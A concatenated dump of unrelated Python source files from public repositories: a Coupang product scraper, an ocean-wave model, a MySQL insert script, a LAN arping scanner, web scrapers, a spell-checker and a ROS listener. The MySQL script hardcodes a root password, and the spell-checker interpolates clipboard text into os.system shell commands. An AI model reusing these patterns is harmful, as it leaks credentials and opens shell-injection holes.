                # 로켓일 때 도착예정일자\n                        ardate = response.css('em.prod-txt-onyx.prod-txt-green-2::text').get()\n                        re_pattern = re.compile(r'\\d+')\n                        ardate = '/'.join(re.findall(re_pattern, str(ardate)))\n                        item['ardate'] = ardate\n                    else:\n                        re_pattern = re.compile(r'\\d+')\n                        ardate = '/'.join(re.findall(re_pattern, str(ardate)))\n                        item['ardate'] = ardate\n                else:\n                    re_pattern = re.compile(r'\\d+')\n                    ardate = '/'.join(re.findall(re_pattern, str(ardate)))\n                    item['ardate'] = ardate\n            else:\n                item['ardate'] = ardate\n            \n            # 멤버십 적용유무\n            ms_list = []\n            # 로켓배송\n            if response.css('img.delivery-badge-img::attr(src)').get() == \"//image10.coupangcdn.com/image/badges/rocket/rocket_logo.png\":\n                ms_list.append(\"로켓배송\")\n            # 로켓 설치\n            if response.css('img.delivery-badge-img.rocket-install-img::attr(src)').get() == \"//image7.coupangcdn.com/image/badges/rocket-install/v3/aos_2/rocket_install_xhdpi.png\":\n                ms_list.append(\"로켓설치\")\n            if response.css('span.ccid-txt::text').get() is not None:\n                # 카드할인\n                ms_list.append(response.css('span.ccid-txt::text').get())\n            if response.css('span.reward-cash-txt::text').get() is not None:\n                # 캐시적립\n                ms_list.append(response.css('span.reward-cash-txt::text').get().replace(' ', '').strip().replace('\\n\\n', ' '))\n            item['ms'] = ms_list\n\n            # 다른 구매옵션\n            item['opo'] = response.css('span.prod-offer-banner-item::text').get()\n            opo_list = []\n            if response.css('span.prod-offer-banner-item::text').get() != None:\n                tagIdx = len(response.css('span.prod-offer-banner-item'))\n                for i in range(0,tagIdx):\n                    opo = []\n                    opo.append(response.css('span.prod-offer-banner-item::text')[i].get())\n                    opo.append(response.css('span.prod-offer-banner-item__count::text')[i].get())\n                    opo_str = \"\".join(opo)\n                    opo_list.append(opo_str)\n                item['opo'] = \"/\".join(opo_list)\n                    \n            ## 구매횟수: 해당없음\n            ##item['purchco']\n\n            # 재고 현황\n            if response.css('div.aos-label::text').get() is None:\n                item['pr1qt'] = None\n            else:\n                pr1qt = response.css('div.aos-label::text').get()\n                item['pr1qt'] = int(re.sub(r'[^0-9]', '', str(pr1qt)))\n\n            ## 전체 페이지 수\n            # item['pgco'] = page\n\n    # ---------------------------------------------------------------------------------------------------------------------------------\n\n            # 검색 키워드\n            item['sk'] = response.meta.get('sk')\n\n    # ---------------------------------------------------------------------------------------------------------------------------------\n\n            # 브랜드(O)\n            # item['pr1br'] = response.css('a.prod-brand-name::text').get()\n            item['pr1br'] = pr1nm.split()[0]    # 제품명의 앞 한 단어(임시)\n\n            # 브랜드샵link\n            #item['brlk'] = response.css('a.prod-brand-name::attr(href)').get()\n\n            # 셀러샵link\n            #item['talk']\n\n            # SKU\n            #item['pr1id'] = response.css('#itemBrief > div > table > tbody > tr:nth-child(1) > td:nth-child(2)::text').get()\n            #item['pr1id'] = response.xpath('//*[@id=\"contents\"]/div[1]/div/div[3]/div[10]/div/div/div/button/table/tbody/tr/td[1]/span[2]/@text').get()  # SKU\n            #contents > div.prod-atf > div > div.prod-buy.new-oos-style.not-loyalty-member.eligible-address.without-subscribe-buy-type.DISPLAY_0.has-loyalty-exclusive-price > div.prod-option > div:nth-child(2) > div > div > button > table > tbody > tr > td:nth-child(1) > span.value\n            #//*[@id=\"contents\"]/div[1]/div/div[3]/div[10]/div[2]/div/div/button/table/tbody/tr/td[1]/span[2]\n\n            # 할인율\n            dcrate = response.css('span.discount-rate::text').get()\n            if dcrate is None:\n                item['dcrate'] = None\n            elif dcrate.strip() == \"%\":\n                item['dcrate'] = None\n            else:\n                item['dcrate'] = int(dcrate.strip().replace('%', ''))\n\n            # 정가\n            ##item['fullpr'] = response.css('span.origin-price::text').get().replace(\"\\n\",\"\").replace(\" \",\"\")    -> 값 안 나오는 거 있음\n            #********************************************************************************************\n            fullpr = response.css('span.origin-price::text').get()   # 정가(O)  # 가격 관련 아이템들은 다시 한번 살펴봐야 할 것\n            if fullpr == \"원\":\n                item['fullpr'] = int(response.css('span.total-price > strong::text').get().replace(',', ''))\n            else:\n                item['fullpr'] = int(fullpr.replace(\"원\", \"\").replace(',', ''))\n            \n            # # 할인가: 와우할인가로 가져오기\n            # # 쿠팡판매가, 와우할인가 나눠져 있을 때\n            # ##item['dcpr'] = response.css('div.prod-sale-price.instant-discount > span.total-price > strong::text').get()   # 쿠팡판매가\n            # item['dcpr'] = response.css('div.prod-coupon-price.prod-major-price > span.total-price > strong::text').get()   # 와우할인가\n            # # item['dcpr'] = response.css('span.total-price > strong::text').getall() ## 쿠팡판매가, 와우판매가 2개 다 cawling\n            # # 쿠팡판매가, 와우할인가 안 나눠져 있을 때\n            # item['dcpr'] = response.css('prod-sale-price.prod-major-price > span.total-price > strong::text').get()\n            # #위에 '가격' 크롤링 한 css로 똑같이 가져오면 쿠팡판매가, 와우할인가 나뉘어진 상품은 쿠팡판매가가 나옴.(75)\n            # ##item['dcpr'] = response.css('span.total-price > strong::text').get()\n            \n            # 품절 유무\n            soldout = response.css('div.oos-label::text').get()\n            if soldout is not None:\n                item['soldout'] = soldout.strip() == \"일시품절\"\n            else:\n                soldout = response.css('div.prod-not-find-known__buy__button').get()\n                item['soldout'] = soldout == \"품절\"\n\n            # 제품 구매 옵션\n            #item['pr1va'] = response.css('div.prod-option__dropdown-item-title > strong::text').get()\n\n            # 멤버십 혜택(ex. 카드혜택, 캐시적립혜택)\n            item['msbf'] = response.css('strong.tit-txt::text').getall()\n\n            # 제품 상세\n            item['prdetail'] = response.css('li.prod-attr-item::text').getall()\n            ##item['prdetail'] = response.css('ul.prod-description-attribute > li.prod-attr-item::text').get()\n            ##prdetail_list=[]\n            ###if response.css('ul.prod-description-attribute > li.prod-attr-item::text').get() != None:\n            ##    tagIdx = len(response.css('ul.prod-description-attribute > li.prod-attr-item'))\n            ##    for i in range(0,tagIdx):\n            ##        prdetail_list.append(response.css('ul.prod-description-attribute > li.prod-attr-item::text')[i].get())\n            ##    item['prdetail'] = \"\\n\".join(prdetail_list)\n            #***********************************************************************\n            \n\n    # ---------------------------------------------------------------------------------------------------------------------------------\n\n            ## 리뷰 특징 요약\n            #item['revsum']\n\n            ##  정렬기준\n            #item['revsb'] = response.css('button.sdp-review__article__order__sort__best-btn sdp-review__article__order__sort__btn--active js_reviewArticleHelpfulListBtn js_reviewArticleSortBtn::text').get()\n\n            ## 작성자\n            #item['reviewer'] = response.css('span.sdp-review__article__list__info__user__name js_reviewUserProfileImage::text').get()\n\n            ## 평점\n            #item['ingrade'] = response.css('div.sdp-review__article__list__info__product-info__star-orange js_reviewArticleRatingValue')\n\n            ## 작성 일자\n            #item['revdate'] = response.css('div.sdp-review__article__list__info__product-info__reg-date::text').get()\n\n            ## 구매품목 디테일\n            #item['purchdetail'] = response.css('div.sdp-review__article__list__info__product-info__name::text').get()\n            \n            ## 리뷰 디테일\n            #item['revdetail'] = response.css('div.sdp-review__article__list__headline').get() + response.css('div.sdp-review__article__list__review__content js_reviewArticleContent').get()\n\n            ## 블로그 리뷰: 해당없음\n            #item['blogrev']\n\n            ## 리뷰 조회수: 해당없음\n            #item['revviews']\n            yield item\n            \n        except Exception as e:\n            print('e: ', e)\n            # logger.error('Error [parse_detail]: %s', e)\n\n    # def errback_httpbin(self, failure):\n    #     # log all failures\n    #     logger.error(repr(failure))\n\n    #     # in case you want to do something special for some errors,\n    #     # you may need the failure's type:\n\n    #     if failure.check(HttpError):\n    #         # these exceptions come from HttpError spider middleware\n    #         # you can get the non-200 response\n    #         response = failure.value.response\n    #         logger.error('HttpError on %s', response.url)\n\n    #     elif failure.check(DNSLookupError):\n    #         # this is the original request\n    #         request = failure.request\n    #         logger.error('DNSLookupError on %s', request.url)\n\n    #     elif failure.check(TimeoutError, TCPTimedOutError):\n    #         request = failure.request\n    #         logger.error('TimeoutError on %s', request.url)\n\n\n\n    #         logger.error('TimeoutError on %s', request.url)\n\n\n\n\n\n\n\n\n\n# ----------------------scrapy-playwright---------------------------\n# import asyncio\n# import scrapy\n\n# from mi.spiders.hiaas_common import HiaasCommon\n# from scrapy.utils.project import get_project_settings\n# from scrapy_playwright.page import PageMethod\n\n# class CoupangCombineSpider(HiaasCommon):\n#     name = \"coupang_combine\"\n#     # start_urls = [\"data:,\"]  # avoid using the default Scrapy downloader\n#     custom_settings = {\n#         'TWISTED_REACTOR' : \"twisted.internet.asyncioreactor.AsyncioSelectorReactor\",\n#         # 'ITEM_PIPELINES' : None,\n#         'DOWNLOAD_HANDLERS' : {\n#             \"http\": \"scrapy_playwright.handler.ScrapyPlaywrightDownloadHandler\",\n#             \"https\": \"scrapy_playwright.handler.ScrapyPlaywrightDownloadHandler\",\n#         }\n#     }\n\n#     def start_requests(self):\n#         settings = get_project_settings()\n#         KEYWORD_LIST = settings.get('KEYWORD_LIST')\n#         COUPANG_PAGE_COUNT = settings.get('COUPANG_PAGE_COUNT')\n#         COUPANG_SORTER = settings.get('COUPANG_SORTER')\n#         COUPANG_LISTSIZE = settings.get('COUPANG_LISTSIZE')\n\n#         for keyword in KEYWORD_LIST:\n#             for pagenum in range(1, COUPANG_PAGE_COUNT):\n#                 search_link = f'https://www.coupang.com/np/search?rocketAll=false&q={keyword}&brand=&offerCondition=&filter=&availableDeliveryFilter=&filterType=&isPriceRange=false&priceRange=&minPrice=&maxPrice=&page={pagenum}&trcid=&traid=&filterSetByUser=true&channel=recent&backgroundColor=&searchProductCount=1857217&component=&rating=0&sorter={COUPANG_SORTER}&listSize={COUPANG_LISTSIZE}'\n\n#                 yield scrapy.Request(url=search_link, callback=self.parse_pagelink, meta=dict(\n#                     playwright = True,\n#                     playwright_include_page = True,\n#                     errback=self.errback,\n#                 ))\n    \n#     async def parse_pagelink(self, response):\n#         settings = get_project_settings()\n#         COUPANG_CRAWL_DELAY = settings.get('COUPANG_CRAWL_DELAY')\n\n#         page = response.meta[\"playwright_page\"]\n#         # await asyncio.sleep(COUPANG_CRAWL_DELAY)\n#         await page.close()\n\n#         hrefs = response.css('ul.search-product-list > li > a.search-product-link::attr(href)').getall()\n\n#         for href in hrefs:\n#             detail_link = 'https://www.coupang.com' + href\n#             yield {\"detail_link\": detail_link}\n\n#     async def errback(self, failure):\n#         page = failure.request.meta[\"playwright_page\"]\n#         await page.close()","repo_name":"geonwookyu/hiaas_git","sub_path":"mi/spiders/coupang_combine.py","file_name":"coupang_combine.py","file_ext":"py","file_size_in_byte":19654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"40257198136","text":"import numpy as np\nimport xarray as xr\nimport netCDF4\nimport time\nimport os\nimport glob\n\n\n## global, fixed parameters\n\n# grid parameters\nxmax = 1010\ndx = 10 # grid spacing\nnx = 101\nnz = 10\ndt = 0.1\n\n# physical parameters\ng = 9.81 # acceleration due to gravity\nhmin = 0.01 # minimum layer thickness\n\neps = 0.05\n\n\nx_eta = np.empty(nx+2) # horizontal grid for depths and displacements\nx_u = np.empty(nx+2) # horizontal grid for horizontal velocities\nz = np.empty(nz+2) # vertical grid\n\nhtotal = np.empty(nx+2) # initial bathymetry\nhzero = np.empty((nz+2, nx+2)) # initial layer thicknesses\nh = np.empty((nz+2, nx+2)) # actual layer thicnesses\ndp = np.empty((nz+2, nx+2)) # dynamic pressure\n\neta = np.empty((nz+2, nx+2)) # actual interface displacements\netan = np.empty((nz+2, nx+2)) # interface displacements at time level n+1\neta0 = np.empty((nz+2, nx+2)) # initial interface displacements\ndhdt = np.empty((nz+2, nx+2)) # actual layer-thickness change\nu = np.empty((nz+2, nx+2)) # actual lateral velocity\nun = np.empty((nz+2, nx+2)) # lateral velocity at time level n+1\nrho = np.empty(nz+2) # layer densities\n\nwet = np.empty((nz+2, nx+2), dtype=int)\n\n\n# In[383]:\n\n\ndef init_output(basename='', **attrs):\n      \n    # ensure we are writing to a new file each time\n    previous_files = sorted(glob.glob(f'OUTPUT/{basename}_*.nc'))\n    if len(previous_files) == 0:\n        counter = 1    \n    else:\n        counter = int(previous_files[-1][-7:-3]) + 1\n    filename = f'OUTPUT/{basename}_{counter:04d}.nc'\n        \n    nc = netCDF4.Dataset(filename, \"w\")\n\n    # NetCDF files have 'dimensions'\n    nc.createDimension(\"time\")\n    nc.createDimension(\"x\", nx+2)\n    nc.createDimension(\"z\", nz+2)\n\n    # NetCDF files have 'variables'\n    nc.createVariable(\"time\", \"f8\", (\"time\",))\n    # NetCDF variables can have 'attributes'\n    nc.variables[\"time\"].units = \"seconds since 2000-01-01\"\n    nc.variables[\"time\"].calendar = \"gregorian\"\n    \n    nc.createVariable(\"x_eta\", \"f8\", (\"x\"))\n    nc.variables[\"x_eta\"].units = \"m\"\n    nc.variables[\"x_eta\"][:] = x_eta\n    \n    nc.createVariable(\"x_u\", \"f8\", (\"x\"))\n    nc.variables[\"x_u\"].units = \"m\"\n    nc.variables[\"x_u\"][:] = x_u\n      \n    nc.createVariable(\"htotal\", \"f8\", (\"x\"))\n    nc.variables[\"htotal\"].units = \"m\"\n    nc.variables[\"htotal\"][:] = htotal\n    \n    nc.createVariable(\"eta\", \"f8\", (\"time\", \"z\", \"x\"))\n    nc.variables[\"eta\"].units = \"m\"\n    nc.createVariable(\"u\", \"f8\", (\"time\", \"z\", \"x\"))\n    nc.variables[\"u\"].units = \"m s-1\"\n    nc.createVariable(\"h\", \"f8\", (\"time\", \"z\", \"x\"))\n    nc.variables[\"h\"].units = \"m\"\n\n    # NetCDF files have also have global attributes\n    nc.setncatts(attrs)\n    nc.history = \"Created \" + time.ctime(time.time())\n    nc.source = \"OMB Exercise 7\"\n\n    # It is important to close a NetCDF file\n    nc.close()\n    \n    return filename\n\ndef write_output(filename, t, n=None):\n    # open a NetCDF file in 'append' mode\n    nc = netCDF4.Dataset(filename, mode='a')\n    \n    # if n is not provided, place values in the last position\n    if n is None:\n        n = len(nc.variables['time'])\n        \n    nc.variables[\"time\"][n] = t\n    nc.variables[\"eta\"][n, :, :] = eta\n    nc.variables[\"h\"][n, :, :] = h\n    nc.variables[\"u\"][n, :, :] = u\n    \n    # It is important to close a NetCDF file\n    nc.close()\n\n\n# ### Subroutines\n\n# In[384]:\n\n\ndef init():\n\n    # calculate horizontal grids\n    x_eta[:] = np.arange(-0.75 * dx, xmax+dx, dx)\n    x_u[:] = x_eta + 0.5 * dx\n    \n    # bathymetry\n    for k in range(1, nx+1):\n        htotal[k] = 100\n        \n    # triangle-shaped island\n    for k in range(31, 52):\n        htotal[k] = 100 - 95*(k-30)/21\n    for k in range(52, 72):\n        htotal[k] = 100 - 95*(71 - k + 1)/20\n\n    htotal[0] = -10\n    htotal[nx+1] = -10\n    \n    # undisturbed layer thicknesses & interface displacements\n    hini = np.ones(nz+2)*10\n        \n    for k in range(0, nx+2):\n        htot = htotal[k]\n        for i in range(1, nz+1):\n            hzero[i, k] = max( min( hini[i], htot), 0)\n            eta[i, k] = max(0, -htot)\n            htot = htot - hini[1]\n            \n    # layer densities\n    rho[0] = 0 # air density ignored\n    rho[1] = 1025\n    for i in range(2, nz+1):\n        rho[i] = 1026 + (i-2)/(nz-2)*0.5\n        \n    # boundary values for dp and eta\n    for k in range(0, nx+2):\n        dp[0, k] = 0 # air pressure ignored\n        eta[nz+1, k] = 0 # sea floor is rigid\n            \n    # store initial interface displacements\n    for k in range(0, nx+2):\n        for i in range(1, nz+2):\n            eta0[i, k] = eta[i, k]\n            \n    # layer thicknesses, wet\\dry pointers and velocities\n    for i in range(1, nz+1):\n        for k in range(0, nx+2):\n            h[i, k] = hzero[i, k]\n            wet[i, k] = 1\n            if h[i, k] < hmin:\n                wet[i, k] = 0\n            u[i, k] = 0\n            un[i, k] = 0\n\n        \ndef dyn():\n    \n    # calculate dynamic pressure\n    for k in range(0, nx+2):\n        for i in range(1, nz+1):\n            dp[i, k] = dp[i-1, k] + (rho[i] - rho[i-1])*g*eta[i,k]\n            \n    for k in range(1, nx+1):\n        for i in range(1, nz+1):\n            \n            # velocity predictor for wet grid cells\n            pgradx = -(dp[i, k+1]- dp[i, k])/rho[i]/dx\n            un[i, k] = 0\n            \n            if wet[i, k]:\n                if wet[i, k+1] or (pgradx>0):\n                    un[i, k] = u[i, k] + dt*pgradx\n            else:\n                if wet[i, k+1] and (pgradx<0):\n                    un[i, k] = u[i, k] + dt*pgradx\n\n    # layer-thickness change predictor\n    for k in range(1, nx+1):\n        for i in range(1, nz+1):\n            hep = 0.5*(un[i,k]+abs(un[i,k]))*h[i,k]\n            hen = 0.5*(un[i,k]-abs(un[i,k]))*h[i,k+1]\n            hue = hep+hen\n            hwp = 0.5*(un[i,k-1]+abs(un[i, k-1]))*h[i,k-1]\n            hwn = 0.5*(un[i,k-1]-abs(un[i, k-1]))*h[i,k]\n            huw = hwp+hwn\n\n            dhdt[i,k] = -(hue-huw)/dx\n\n            \n    # update interface displacements\n    for k in range(1, nx+1):\n        deta = 0\n        for i in range(nz, 0, -1):\n            deta = deta + dhdt[i, k]\n            etan[i, k] = eta[i, k] + dt*deta\n            \n    # apply Shapiro filter\n    shapiro()\n    \n    # update layer thicknesses, lateral velocities and wet/dry pointers\n    for k in range(1, nx+1):\n        for i in range(1, nz+1):\n            h[i, k] = hzero[i, k] + eta[i, k] - eta[i+1, k] - eta0[i, k] + eta0[i+1, k]\n            u[i, k] = un[i, k]\n            wet[i, k] = 1\n            if h[i, k] < hmin:\n                wet[i, k] = 0\n    \ndef shapiro():\n    for i in range(1, nz+1):\n        for k in range(1, nx+1):\n            if wet[i, k]:\n                term1 = (1.0-0.5*eps*(wet[i, k+1]+wet[i, k-1]))*etan[i, k]\n                term2 = 0.5*eps*(wet[i, k+1]*etan[i, k+1]+wet[i, k-1]*etan[i, k-1])\n                eta[i, k] = term1 + term2\n            else:\n                eta[i, k] = etan[i, k]\n\n\n# In[385]:\n\n\ndef multi():\n    \n    # initialize arrays to the initial values\n    init()\n    \n    # determine maximum water depth\n    # automatic setting of time step (10% below CFL threshold)\n    hmax = 100 # total water depth\n    dt = 0.9 * dx / np.sqrt(g*hmax)\n    print(f\"Time step = {dt:.1f} seconds\")\n    \n    # set epsilon for Shapiro filter\n    eps = 0.05\n        \n    # parameters for wave paddle\n    Apaddle = 1 # amplitude in metres\n    Tpaddle = 10 # period in seconds CASE 1\n    #Tpaddle = 2*3600 # period in seconds CASE 2\n    \n    \n    # runtime parameters\n    tmax = 10 * Tpaddle\n    ntot = int(tmax/dt)\n\n    # output parameter\n    tout = Tpaddle/10\n    nout = int(tout / dt)\n    \n    filename = init_output('multi')\n     \n    for n in range(ntot):\n        t = n*dt\n        \n        for i in range(1, nz+1):\n            eta[i, 1] = Apaddle*np.sin(2*np.pi*t/Tpaddle)\n\n        #---- prognostic equations ----\n        dyn()\n        #------------------------------\n\n        if n % nout == 0:\n            write_output(filename, t)\n            \n    return filename\n\n\nfilename = multi()\nprint(filename)\n\n\n","repo_name":"jmunroe/phys6318-winter2021","sub_path":"Lecture_04.py","file_name":"Lecture_04.py","file_ext":"py","file_size_in_byte":8007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"14404589992","text":"import mysql.connector\n\ndb = mysql.connector.connect(\n    host=\"localhost\",\n    user=\"root\",\n    password=\"Ng13gHc##\",\n    database=\"user_business\"\n)\n\nmycursor = db.cursor()\n\n\ndef business_insert():\n    business_add = input(\"Would you like to add a business to the database? \")\n    if business_add.lower() == 'yes':\n        business_id = int(input(\"Enter Business ID: \"))\n        business_name = input(\"Enter Business Name: \")\n        business_type = input(\"Enter Business Type: \")\n        number_of_employees = int(input(\"Enter Number of Employees: \"))\n        b_data = (business_id, business_name, business_type, number_of_employees)\n        b_insert = (\"INSERT INTO Business (Business_ID, Business_Name, Business_Type, Number_Of_Employees)\"\n                    \"VALUES (%s, %s, %s, %s)\")\n        mycursor.execute(b_insert, b_data)\n\n\ndef user_insert():\n    user_add = input(\"Would you like to add a User to the database? \")\n    if user_add.lower() == 'yes':\n        first_name = input(\"Enter First Name: \")\n        last_name = input(\"Enter Last Name: \")\n        salary = int(input(\"Enter User Salary: \"))\n        sex = input(\"Enter User Sex (M/F): \")\n        user_id = int(input(\"Enter User ID: \"))\n        works_for = int(input(\"Enter Business ID for Company where User is employed: \"))\n        u_data = (first_name, last_name, salary, sex, user_id, works_for)\n        u_insert = (\"INSERT INTO Users (First_Name, Last_name, Salary, Sex, User_ID, Works_For)\"\n                    \"VALUES (%s, %s, %s, %s, %s, %s)\")\n        mycursor.execute(u_insert, u_data)\n\nbusiness_insert()\n\n\nuser_insert()\n\ndb.commit()\n\nmycursor.execute(\"SELECT First_Name, Last_Name FROM Users WHERE Works_For = \"\n                 \"ANY (SELECT Business_ID FROM Business WHERE Business_Type = 'Food')\")\n\nfor x in mycursor:\n    print(x)\n","repo_name":"Demietrius/practice-","sub_path":"src/user_business_2.py","file_name":"user_business_2.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"70726455462","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\tPING A TODAS LAS IPs DE LAN\n* Objeto clase Host contiene IP, Ping y MAC (strings)\n* Se escanea con ARPING todas las IPs (devuelve el tiempo y la MAC). Hay que ignorar el localhost porque no hace ping con arping.\n* Se devuelve al final listado de IPs encontradas con sus pings y macs\n\nEjemplos salida comandos arping:\nroot@Livebox-LEDE:/scripts# arping -c 1 192.168.0.1\nARPING 192.168.0.1 from 192.168.0.42 eth0\nUnicast reply from 192.168.0.1 [00:00:00:00:00:00]  1.800ms\nSent 1 probes (1 broadcast(s))\nReceived 1 response(s)\n\nroot@Livebox-LEDE:/scripts# arping -c 1 192.168.0.5\nARPING 192.168.0.5 from 192.168.0.42 eth0\nSent 1 probes (1 broadcast(s))\nReceived 0 response(s)\n\"\"\"\n\nimport subprocess\n\nrng=254\n\nactive_hosts = list()\nclass Host(object):\n\tdef __init__(self, ip, ping, mac):\n\t\tself.ip = ip\n\t\tself.ping = ping.replace(\" \",\"\").replace(\"ms\",\"\")\n\t\tself.mac = mac\n\nfor i in range(1,rng+1):\n\tdest = \"192.168.0.\" + str(i)\n\ttry:\n\t\tout = subprocess.check_output([\"arping\",\"-c\",\"1\",dest]).splitlines()[1]\n\t\t\n\t\tif \"ms\" in out: #Host online:\n\t\t\tmac = out.split(\"[\")[1].split(\"]\")[0]\n\t\t\tping = out.split(\" \")[-1]\n\t\t\n\t\telse: #Host offline:\n\t\t\traise Exception(\"Host offline\")\n\n\texcept KeyboardInterrupt:\n\t\tbreak\n\texcept: #Host offline:\n\t\tping = \"Offline\"\n\telse: #Host online:\n\t\tactive_hosts.append( Host(dest, ping, mac) )\n\t\n\tprint( \"IP {} -> {}\".format(dest, ping) )\n\nstout = \"Hay {} equipos activos:\".format( len(active_hosts) )\nfor i in active_hosts:\n\tstout += \"\\n{} ({}ms) [{}]\".format(i.ip, i.ping, i.mac)\n\nprint(stout)\n","repo_name":"David-Lor/Python_LAN_Watchdog","sub_path":"watchdog2.py","file_name":"watchdog2.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5570711007","text":"import csv\nimport urllib3\nfrom datetime import datetime\nimport time\nfrom bs4 import BeautifulSoup\n\nRANK_PAGE = 'https://osu.ppy.sh/rankings/osu/performance?country=NZ&page='\nMAX_PAGE = 22  # inclusive\nCSV_FILE = 'osu_data.csv'\n\nhttp = urllib3.PoolManager()\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n\ndef get_play_time(text):\n    sub = text[text.find('play_time') + 11:]\n    return sub[:sub.find(',')]\n\n\nfor i in range(1, MAX_PAGE + 1):\n    # save per page in case something happens\n    with open(CSV_FILE, 'a') as csv_file:\n        start = time.time()\n        writer = csv.writer(csv_file)\n        page = http.request('GET', RANK_PAGE + str(i))\n        parsed_page = BeautifulSoup(page.data, 'html.parser')\n        rows = parsed_page.find_all(\n            'tr', attrs={'class': 'ranking-page-table__row'})\n\n        for row in rows:\n            cols = row.find_all('td', {'class': 'ranking-page-table__column'})\n            links = cols[1].find_all('a', href=True)\n            user_profile_link = links[1]['href'].strip()\n            user_row = []\n            for val in cols:\n                user_row.append(val.text.strip())\n\n            profile = http.request('GET', user_profile_link)\n            profile_text = profile.data.decode('utf-8')\n            profile.close()\n            user_row.append(get_play_time(profile_text))\n            writer.writerow(user_row)\n\n        print('processed page', i, ' time-taken: ', time.time() - start)\n        page.close()\n","repo_name":"nateeo/osu_scraper","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"73529028581","text":"from flask import Blueprint, jsonify, request\nimport os\nimport requests\nUNSPLASH_URL = \"https://api.unsplash.com/photos/random/\"\nfrom bson.json_util import dumps\n\nUNSPLASH_KEY = os.environ.get(\"UNSPLASH_KEY\", \"\")\nnew_image_blueprint = Blueprint(\"new_image\", __name__)\n\n@new_image_blueprint.route(\"/new-image\")\ndef new_image():\n    word = request.args.get(\"query\")\n    headers = {\"Authorization\": \"Client-ID \" + UNSPLASH_KEY, \"Accept-Version\": \"v1\"}\n    params = {\"query\": word, \"count\": 30}\n    response = requests.get(url=UNSPLASH_URL, headers=headers, params=params)\n    data = response.json()\n    resultsArray = list(data)\n    print(resultsArray)\n    print(len(resultsArray))\n    if len(resultsArray) < 2:\n        return 'No valid results', 400\n    return dumps(data), 200","repo_name":"edgar-ishankulov/wishboard_flask_api","sub_path":"new_image.py","file_name":"new_image.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12892019450","text":"#!/usr/bin/env python\n\n\"\"\"\npyspelling\n\nSpellchecking for Ukrainian, Russian and English languages.\nUsed: Python 3, Yandex spellservice.\n\nby proft @ http://proft.me\n\"\"\"\n\nimport os\nimport requests\nfrom subprocess import Popen, PIPE\n\nROOT = os.path.abspath(os.path.dirname(__file__))\nICON_OK = os.path.join(ROOT, 'ok.png')\nICON_ERROR = os.path.join(ROOT, 'error.png')\nLANG_TRANS = {'ua': 'uk', 'us': 'en', 'ru': 'ru'}\n\n\ndef get_layout():\n    \"\"\" Get current keyboard layout \"\"\"\n\n    pipe = Popen(\"setxkbmap -print | grep xkb_symbols | awk -F'+' '{print $2}'\", stdout=PIPE, shell=True)\n    layout = pipe.communicate()[0].strip().decode(\"utf-8\")\n    return str(layout)\n\n\ndef set_clipboard(text):\n    \"\"\" Set system clipboard to text \"\"\"\n\n    xsel_proc = Popen(['xsel', '-bi'], stdin=PIPE)\n    xsel_proc.communicate(bytes(text, 'utf-8'))\n\n\ndef get_clipboard():\n    \"\"\" Get text from system clipboard \"\"\"\n\n    return os.popen('xsel').read()\n\nif __name__ == '__main__':\n    word = get_clipboard()\n    params = {'text': get_clipboard(), 'lang': LANG_TRANS[get_layout()]}\n    r = requests.get('http://speller.yandex.net/services/spellservice.json/checkText', params=params)\n\n    if r.status_code == 200:\n        if len(r.json()) > 0:\n            out = r.json()[0]\n            variants = [v for v in out['s']]\n            set_clipboard(variants[0])\n            os.system('notify-send -i %(icon)s \"%(caption)s\" \"%(text)s\"' % {\n                'icon': ICON_ERROR,\n                'caption': word,\n                'text': '\\n'.join(variants)\n            })\n        else:\n            os.system('notify-send -i %(icon)s \"%(text)s\"' % {\n                'icon': ICON_OK,\n                'text': word\n            })\n","repo_name":"proft/pyspelling","sub_path":"spelling.py","file_name":"spelling.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"6904224741","text":"#!/usr/bin/env python3\nimport rospy\nimport csv\n# from fiducial_msgs.msg import FiducialTransforms\nfrom fiducial_msgs.msg import FiducialTransformArray\n\n\ndef callback(data):\n    # Open the CSV file in write mode\n    with open('data.csv', mode='w') as file:\n        # Create a CSV writer object\n        writer = csv.writer(file)\n        # Write the header row\n        writer.writerow(['ID', 'X', 'Y', 'Z'])\n        # Write the data to the CSV file\n        for fiducial in data.transforms:\n            writer.writerow([fiducial.fiducial_id,\n                             fiducial.transform.translation.x,\n                             fiducial.transform.translation.y,\n                             fiducial.transform.translation.z])\n\ndef listener():\n    rospy.init_node('marker_to_csv', anonymous=True)\n    rospy.Subscriber('/fiducial_transforms', FiducialTransformArray, callback)\n    rospy.spin()\n\nif __name__ == '__main__':\n    listener()\n","repo_name":"ammarajmal/ros_ws","sub_path":"src/fiducials/aruco_detect/scripts/markertocsv.py","file_name":"markertocsv.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35344857564","text":"# coding: utf-8\n\n\"\"\" Default values \"\"\"\n# Special tokens\nMASK_TOKEN = '[MASK]'\nSP_TOKEN_O = '[unused0]'  # append to support tokens: when attention on this token, then the label should be 'O'\nSP_TOKEN_NO_MATCH = '[unused1]'  # append to support tokens: when attention on this token, then there's no label to pred\n\n# Special labels\nSP_LABEL_NO_MATCH = '[NO_MATCH]'  # to block the attention on other SP_TOKEN_NO_MATCH tokens\nSP_LABEL_O = '[O]'  # replace the original support token's 'O' label, to block the attention on other 'O' tokens\n","repo_name":"AtmaHou/MetaDialog","sub_path":"utils/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":215,"dataset":"github-code","pt":"35"}
